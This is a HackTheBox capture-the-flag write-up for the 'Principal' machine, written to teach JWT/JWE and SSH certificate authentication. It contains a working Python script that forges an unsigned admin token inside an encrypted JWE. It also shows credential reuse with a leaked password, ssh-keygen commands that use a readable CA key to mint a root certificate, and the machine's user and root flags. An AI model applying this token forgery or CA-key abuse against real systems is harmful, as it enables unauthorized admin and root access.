Principal — HackTheBox
Difficulty: Medium | OS: Ubuntu 24.04 | Release: March 2026
Key Vulnerabilities: JWT alg: none bypass, plaintext secret exposure, SSH CA private key file permissions
Author: jkonpc | March 18, 2026
Executive Summary
Principal is a medium-rated Linux machine that teaches JSON Web Token exploitation end-to-end — from understanding how JWE and JWS work together, to forging tokens that bypass authentication entirely. The box presents a Java web application (Spring Boot + Jetty) that uses a layered JWT architecture: an inner signed token (JWS) wrapped in an outer encrypted token (JWE). The public encryption key is exposed, and the server fails to validate the inner token’s signature algorithm, allowing an attacker to forge admin tokens with alg: none. From there, the admin API leaks credentials and SSH CA infrastructure details, leading to a foothold. Root comes from an overly permissive SSH Certificate Authority private key that lets the deployers group sign certificates for any principal — including root.
This writeup takes an educational approach, breaking down JWT/JWE cryptography and SSH certificate authentication for readers encountering these technologies for the first time.
| Property | Value |
|---|---|
| Target IP | 10.129.244.220 |
| Hostname | principal |
| User Flag | a10b4b52a40af77b67dac397975e9aa3 |
| Root Flag | afd6a3c38012f800992f862d072cde3f |
Attack Chain Overview
- Port Scanning — Discover SSH (22) and Jetty web app (8080)
- Web Enumeration — Identify pac4j-jwt authentication, recover full client-side auth logic from app.js
- JWT Forgery — Exploit
alg: nonein JWE-wrapped tokens to bypass authentication as admin - Admin API Enumeration — Extract usernames, SSH CA config, and a plaintext encryption key
- SSH Foothold — Reuse the leaked encryption key as the
svc-deploypassword → user flag - SSH CA Certificate Forgery — Sign a root certificate using the readable CA private key → root flag
Phase 1: Reconnaissance
Port Scanning
The first scan with default nmap settings returned nothing — the host appeared down:
1
2
$ sudo nmap -sS 10.129.244.220
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
If you’ve read my Expressway writeup, you know this lesson already: always use -Pn when scanning HackTheBox machines. ICMP is blocked, and nmap’s default host discovery relies on it. Adding -Pn reveals two open ports:
1
2
3
4
$ sudo nmap -sS -Pn -sCV 10.129.244.220
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
8080/tcp open http-proxy Jetty
The headers tell us a lot before we even open a browser:
- Server: Jetty — Java-based web server, commonly embedded in Spring Boot applications
- X-Powered-By: pac4j-jwt/6.0.3 — pac4j is a Java security framework, and the
-jwtsuffix tells us authentication is token-based - Title: Principal Internal Platform - Login — Corporate dashboard with a login page at
/login - JSON error responses with Spring Boot’s default format (
timestamp,status,error,path) confirm the stack
Directory Enumeration
1
2
3
4
5
6
$ ffuf -u http://10.129.244.220:8080/FUZZ -w raft-medium-directories.txt
login [Status: 200, Size: 6152]
dashboard [Status: 200, Size: 3930]
error [Status: 500, Size: 73]
WEB-INF [Status: 500, Size: 0]
META-INF [Status: 500, Size: 0]
Three interesting findings here. /login is the main entry point. /dashboard returns a 200 — worth investigating whether it leaks content without auth. And WEB-INF / META-INF returning 500 (not 404) confirms the Java stack — these are standard Java webapp directories, and the server recognizes them even though it won’t serve them.
Phase 2: Understanding the Authentication Architecture
The Login Page
Opening the login page in a browser immediately caused high CPU usage — a sign of heavy client-side JavaScript. Rather than fighting the browser, I pulled the page source with curl and found a single script reference:
1
2
$ curl -s http://10.129.244.220:8080/login | grep -i "script"
<script src="/static/js/app.js"></script>
Retrieving app.js revealed the entire authentication architecture. This is worth studying carefully, because it’s the blueprint for the entire attack.
How the Auth Flow Works
The application uses a two-layer JWT architecture that’s common in enterprise environments. Understanding both layers is key to understanding the vulnerability.
Layer 1 — JWE (JSON Web Encryption): The outer layer. JWE provides confidentiality — it encrypts the token so that intermediaries (proxies, logs, browser devtools) can’t read the claims inside. The app uses RSA-OAEP-256 for key wrapping and A128GCM for content encryption. The important thing about RSA encryption is that anyone with the public key can encrypt data. Only the server’s private key can decrypt it.
Layer 2 — JWS (JSON Web Signature): The inner layer. JWS provides integrity — it signs the token so the server can verify it hasn’t been tampered with. The app uses RS256 (RSA + SHA-256) for signing. Unlike encryption, only the private key can sign, and the public key verifies.
The flow works like this:
- User POSTs credentials to
/api/auth/login - Server validates credentials, creates a signed JWT (JWS) with user claims
- Server encrypts the signed JWT inside a JWE wrapper
- Client stores the JWE token and sends it as
Authorization: Bearer <token>on every request - Server decrypts the JWE, then verifies the JWS signature and reads the claims
The JWT claims schema (from app.js comments) tells us exactly what the server expects:
sub— usernamerole— one ofROLE_ADMIN,ROLE_MANAGER,ROLE_USERiss—"principal-platform"iat— issued at timestampexp— expiration timestamp
The JWKS Endpoint
The login page’s JavaScript automatically fetches the server’s public key from /api/auth/jwks:
1
2
$ curl -s http://10.129.244.220:8080/api/auth/jwks
{"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWr..."}]}
This endpoint is unauthenticated — anyone can retrieve the public key. In a properly configured system, this is fine: the public key is public. But combined with a signature validation flaw, it becomes the foundation for a complete authentication bypass.
Notice the kid (Key ID): enc-key-1. The “enc” prefix tells us this key is used for encryption (the JWE layer), not signing. This makes sense — the client needs the public key to encrypt tokens, and only the server’s private key can decrypt them.
Phase 3: JWT Token Forgery
The alg: none Attack
Here’s the vulnerability: since we have the RSA public key, we can create the JWE outer layer ourselves (encryption uses the public key). The question is whether the server properly validates the JWS inner layer.
The alg: none attack is one of the oldest JWT vulnerabilities, dating back to the original JWT specification. The alg header in a JWT tells the server which algorithm was used to sign the token. The spec includes a none algorithm — meaning “this token is unsigned.” It was intended for situations where the token’s integrity is guaranteed by other means (like being inside an encrypted container).
The problem: many JWT libraries, when they see alg: none, skip signature verification entirely. If the server doesn’t explicitly reject none, an attacker can forge tokens with arbitrary claims and no signature at all.
In Principal’s case, the theory is: craft an unsigned inner JWT with admin claims, wrap it in a properly encrypted JWE using the public key, and the server will decrypt the JWE, see alg: none on the inner JWT, skip signature validation, and accept our forged claims.
Building the Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# forge_token.py
from jwcrypto import jwk, jwe
import jwt
import json
import time
# Public key from /api/auth/jwks
jwks_data = {"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1",
"n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61i
NgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoH
puP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCv
BpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm
0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C
7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"}]}
key = jwk.JWK(**jwks_data["keys"][0])
now = int(time.time())
# Inner JWT — unsigned (alg: none) with admin claims
payload = {
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": now,
"exp": now + 3600
}
inner_jwt = jwt.encode(payload, key=None, algorithm="none",
headers={"alg": "none", "typ": "JWT"})
# Outer JWE — encrypted with the server's public RSA key
jwe_header = {
"alg": "RSA-OAEP-256",
"enc": "A128GCM",
"kid": "enc-key-1"
}
jwe_token = jwe.JWE(inner_jwt.encode(), recipient=key,
protected=json.dumps(jwe_header))
token = jwe_token.serialize(compact=True)
print(f"[+] Forged admin token: {token}")
1
2
3
4
$ python3 -m venv venv && source venv/bin/activate
$ pip install pyjwt jwcrypto
$ python3 forge_token.py
[+] Forged admin token: eyJhbGciOiAiUlNBLU9BRVAtMjU2Iiw...
Accessing the Admin Dashboard
Testing the forged token against the dashboard API:
1
2
$ curl -s http://10.129.244.220:8080/api/dashboard \
-H "Authorization: Bearer <forged_token>"
It works. The server decrypts the JWE, sees alg: none, skips signature verification, and treats us as admin. We now have access to the full admin API.
Phase 4: Admin API Enumeration
With admin access, app.js told us about two additional endpoints: /api/users and /api/settings. Both contain critical information.
User Management (/api/users)
1
2
$ curl -s http://10.129.244.220:8080/api/users \
-H "Authorization: Bearer <forged_token>"
This returns all eight users on the platform:
| Username | Role | Department | Notes |
|---|---|---|---|
| admin | ROLE_ADMIN | IT Security | Sarah Chen |
| svc-deploy | deployer | DevOps | Service account — SSH certificate auth |
| jthompson | ROLE_USER | Engineering | Team lead — backend services |
| amorales | ROLE_USER | Engineering | Frontend developer |
| bwright | ROLE_MANAGER | Operations | Operations manager |
| kkumar | ROLE_ADMIN | IT Security | On leave — account disabled |
| mwilson | ROLE_USER | QA | QA engineer |
| lzhang | ROLE_MANAGER | Engineering | Engineering director |
The svc-deploy account stands out — it’s a service account used for automated deployments via SSH certificate authentication. This matches the activity log from the dashboard, which showed svc-deploy issuing SSH certificates and triggering deployments.
System Settings (/api/settings)
1
2
$ curl -s http://10.129.244.220:8080/api/settings \
-H "Authorization: Bearer <forged_token>"
The settings endpoint is where the box opens wide. Three critical pieces of information:
1. A plaintext encryption key:
1
2
3
4
"security": {
"encryptionKey": "D3pl0y_$$H_Now42!",
...
}
A secret key exposed in an admin API response. This is a common finding in real-world pentests — developers store secrets in application config, expose that config through admin endpoints, and forget that admin accounts can be compromised.
2. SSH CA infrastructure details:
1
2
3
4
5
"infrastructure": {
"sshCertAuth": "enabled",
"sshCaPath": "/opt/principal/ssh/",
"notes": "SSH certificate auth configured for automation - see /opt/principal/ssh/ for CA config."
}
The box uses SSH certificate authentication — not just regular SSH keys. This is an important distinction that becomes the root escalation vector. More on this in Phase 6.
3. Application stack confirmation:
1
2
3
4
5
"system": {
"serverType": "Jetty 12.x (Embedded)",
"javaVersion": "21.0.10",
"version": "1.2.0"
}
Phase 5: Initial Foothold — SSH as svc-deploy
Credential Reuse
The leaked encryption key D3pl0y_$$H_Now42! screams password reuse — it even has “SSH” ($$H) embedded in it. Testing it against the service account that handles deployments:
1
2
3
4
5
$ ssh svc-deploy@10.129.244.220
Password: D3pl0y_$$H_Now42!
svc-deploy@principal:~$ cat user.txt
a10b4b52a40af77b67dac397975e9aa3
In corporate environments, secrets stored in application config are frequently reused as system credentials. API keys, encryption keys, and service account passwords are often the same string — especially for service accounts that were set up quickly by a developer who needed “something that works” and never rotated the credentials.
Phase 6: Privilege Escalation — SSH CA Certificate Forgery
What is SSH Certificate Authentication?
Before diving into the exploit, it’s worth understanding SSH certificate authentication, because it’s increasingly common in production environments and rarely covered in CTFs.
Normal SSH key authentication works like this: you generate a keypair, put your public key in ~/.ssh/authorized_keys on the server, and authenticate with your private key. This works fine at small scale, but becomes a management nightmare with hundreds of servers and dozens of users. Every user’s public key needs to be in authorized_keys on every server they need access to.
SSH certificate authentication solves this with a Certificate Authority (CA). Instead of distributing individual public keys, you:
- Create a CA keypair (a regular SSH key designated as the authority)
- Configure sshd to trust the CA’s public key (
TrustedUserCAKeysin sshd_config) - When a user needs access, sign their public key with the CA’s private key, producing a certificate
- The certificate includes metadata: who it’s for (the “principal”), when it expires, and what they can do
- sshd sees the certificate, verifies it was signed by the trusted CA, and grants access to the specified principal
The critical security property: whoever holds the CA private key can grant SSH access as any user. This is by design — it’s meant to be held by a privileged automation system or security team. If an attacker gets the CA private key, they can forge certificates for any user on any server that trusts that CA — including root.
Enumeration
1
2
$ id
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
The deployers group membership is interesting. Checking the SSH CA directory that the settings API told us about:
1
2
3
4
5
6
$ ls -la /opt/principal/ssh/
total 20
drwxr-x--- 2 root deployers 4096 Mar 11 04:22 .
-rw-r----- 1 root deployers 288 Mar 5 21:05 README.txt
-rw-r----- 1 root deployers 3381 Mar 5 21:05 ca
-rw-r--r-- 1 root root 742 Mar 5 21:05 ca.pub
There it is. The CA private key (ca) is owned by root:deployers with permissions 640 — and we’re in the deployers group. We can read the CA private key.
The README confirms what we suspected:
1
2
CA keypair for SSH certificate automation.
This CA is trusted by sshd for certificate-based authentication.
This is a permissions misconfiguration. The CA private key should be 0600 root:root, accessible only to root or a dedicated certificate-signing service. By making it group-readable to deployers, any compromised service account in that group can forge certificates for any user — including root.
Forging a Root Certificate
The attack is straightforward. We generate a new SSH keypair, sign the public key with the CA private key specifying root as the principal, and use the resulting certificate to authenticate as root:
1
2
3
4
5
$ ssh-keygen -t ed25519 -f /tmp/pwn -N ""
Generating public/private ed25519 key pair.
$ ssh-keygen -s /opt/principal/ssh/ca -I root-cert -n root -V +1h /tmp/pwn.pub
Signed user key /tmp/pwn-cert.pub: id "root-cert" serial 0 for root valid from 2026-03-18T21:20:00 to 2026-03-18T22:21:10
Breaking down the signing command:
-s /opt/principal/ssh/ca— sign with this CA private key-I root-cert— certificate identity (just a label for logging)-n root— the principal (username) this certificate is valid for-V +1h— valid for one hour/tmp/pwn.pub— the public key to sign
Now SSH as root with the certificate:
1
2
3
4
$ ssh -i /tmp/pwn -o CertificateFile=/tmp/pwn-cert.pub root@localhost
root@principal:~# cat root.txt
afd6a3c38012f800992f862d072cde3f
sshd receives the certificate, verifies it was signed by the trusted CA, sees the principal is root, and grants access. No password, no authorized_keys entry — the CA signature is all it needs.
Key Takeaways
JWT
alg: noneis one of the oldest token vulnerabilities, and it still appears in production. Any application that accepts JWTs must explicitly reject thenonealgorithm. Libraries like pac4j should be configured with a strict algorithm whitelist — never rely on the token’s ownalgheader to decide how to verify it.JWE encryption does not replace JWS signature validation. Principal’s developers may have assumed that wrapping tokens in JWE made signature verification less critical — after all, only the server can decrypt the token. But since JWE uses the public key for encryption, anyone can create a validly encrypted JWE. The inner signature is the only thing that proves the token was issued by the server.
Admin API endpoints are high-value targets. The settings endpoint exposed a plaintext encryption key, SSH CA paths, and infrastructure details. In real engagements, admin panels and internal APIs frequently contain credentials, connection strings, and architecture information that developers assumed would only be seen by trusted users.
SSH Certificate Authority keys are crown jewels. A compromised CA private key is equivalent to root access on every server that trusts it. CA keys should be stored with the most restrictive permissions possible (
0600 root:root), ideally on a dedicated signing server that is not directly accessible from application infrastructure. Short-lived certificates (as used bysvc-deploy) are good practice, but meaningless if the CA key itself is compromised.Credential reuse bridges application and infrastructure layers. The encryption key stored in the web application’s settings became the SSH password for a service account. In corporate environments, this pattern is extremely common — the same secret appears in application config, environment variables, and system credentials. Always test recovered secrets against every available authentication surface.
Tools Used
- nmap, ffuf, curl, Python (pyjwt, jwcrypto), ssh-keygen, SSH